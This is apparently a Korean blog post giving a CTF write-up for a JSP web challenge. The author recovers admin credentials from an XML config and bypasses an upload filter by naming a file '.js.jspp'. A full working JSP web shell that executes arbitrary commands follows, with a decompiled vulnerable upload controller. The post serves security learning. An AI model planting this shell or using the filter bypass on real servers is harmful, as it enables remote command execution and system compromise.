2023. 7. 13. 09:58ㆍ정보보안/CTFLOG
14 - 방송국 [WEB, 233point]
jsp로 작성된 웹 서비스가 주어진다.
admin 폴더를 확인하니 adminPage에서 사용하는 기능을 확인 할 수있었다.
이후, /admin/ImgUpload로 이동해보니 loginPage가 떴고 login 로직을 확인하기 위해서 login.jsp와 함수를 확인해보았다.
이후 xml 파일을 확인해보니 어드민의 id와 pwd로 추정되는 문자열을 확인 할 수 있었는데,
이때 pwd가 해싱된 문자열인줄 알고 로그인 시도 안하고 있다가, 다른 경로에서는 도저히 admin계정을 알아낼 수 있는
방법이 없어서 위 문자열을 대입했더니 admin으로 로그인 되었다.
admin ROLE을 얻게 되어서 /admin 하위 경로로 들어갈 수 있는 권한을 얻게 되었다.
따라서 /admin/ImgUpload에 접속하면
경로를 입력 할 수있는 input박스가 하나와 파일을 업로드 할 수있는 기능이 주어진다.
여기에 jsp web shell을 올려서 쉘을 따면 익스가 될거라고 예상했는데
filter가 되고 있었다.
//
// Decompiled by Procyon v0.5.36
//
package com.mvc.controller;
import org.springframework.web.bind.annotation.RequestMethod;
import java.io.IOException;
import java.io.File;
import javax.servlet.http.HttpServletRequest;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.stereotype.Controller;
@Controller
public class mvcController
{
@RequestMapping({ "/login" })
public String index() {
return "login";
}
@RequestMapping(value = { "/admin/ImgUpload" }, method = { RequestMethod.POST })
public String ImgUplad(@RequestParam final MultipartFile file, @RequestParam final String type, final HttpServletRequest request) throws IOException {
if (!file.isEmpty() && !type.isEmpty()) {
final String fullPath = "/usr/local/tomcat/webapps/ROOT/static/" + type.replace("/", "").replace(".", "") + "/" + file.getOriginalFilename().replace(".jsp", "");
final File uploadfile = new File(fullPath);
if (!uploadfile.exists()) {
file.transferTo(uploadfile);
return "success";
}
}
return "fail";
}
@RequestMapping(value = { "/admin/ImgUpload" }, method = { RequestMethod.GET })
public String ImgUpladjsp() {
return "admin/upload";
}
}
mvcController.java를 보면 /와 .를 공백으로 치환하고 .jsp 문자열도 공백으로 치환한다.
따라서, 상위 경로로 이동하는 path는 입력 할 수 없었다.
구글링해서 아무 위치에나 올려도 작동하는 웹쉘을 찾고
이 코드의 확장자는 .js.jspp로 하여 .jsp로 올라가게 bypass했다.
# cmd.js.jspp
<%@ page import="java.util.*,java.io.*"%>
<%
//
// JSP_KIT
//
// cmd.jsp = Command Execution (unix)
//
// by: Unknown
// modified: 27/06/2003
//
%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
mvc 코드를 보면 업로드 된 파일은 /static 하위로 바로 들어가게 지정해주고 있었기 때문에
바로 명령어를 입력하여 flag를 얻을수 있었다.
'정보보안 > CTFLOG' 카테고리의 다른 글
[CTF] Wacon 2023 ( junior division ) (0) | 2023.09.05 |
---|---|
[CTF] SSTF 2023 (0) | 2023.08.20 |
[CTF] SECCON Beginners 2023 (0) | 2023.06.04 |
[CTF] DEFCON31 Quals (0) | 2023.05.29 |
[CTF] GreyCTF'23 write up (0) | 2023.05.22 |